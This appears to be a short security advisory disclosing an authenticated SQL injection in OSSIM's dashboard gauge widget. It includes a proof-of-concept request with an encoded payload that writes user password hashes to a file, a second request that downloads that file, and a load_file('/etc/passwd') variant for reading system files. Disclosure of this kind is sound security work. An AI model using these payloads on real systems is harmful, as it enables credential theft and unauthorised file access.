Vulnerability Details  
=====================  
  
A SQL injection vulnerability exists in the value parameter of  
/ossim/dashboard/sections/widgets/data/gauge.php on line 231. By  
sending a serialized array with a SQL query in the type field, it's  
possible to execute an arbitrary SQL query. The result is not  
displayed on the screen, but it can be exploited as a blind SQLi or  
have the output directed to a file and then retrieved via another  
request. Authentication is required.  
  
  
  
POC  
===  
  
This request will dump user password hashes to a file:  
  
/ossim/dashboard/sections/widgets/data/gauge.php?&type=alarm&wtype=blah&asset=1&height=1&value=a%3A1%3A%7Bs%3A4%3A%22type%22%3Bs%3A67%3A%22pass+from+users+INTO+OUTFILE+%27%2Ftmp%2F10.0.0.123_pass_tshark.pcap%27--+-%22%3B%7D  
  
The file containing the output can then be retrieved with the following request:  
/ossim/pcap/download.php?scan_name=pass&sensor_ip=10.0.0.123  
  
It's also possible to read the contents of any file readable by the  
mysql user by using mysql's load_file function. For example, changing  
the request to something like select load_file('/etc/passwd') .
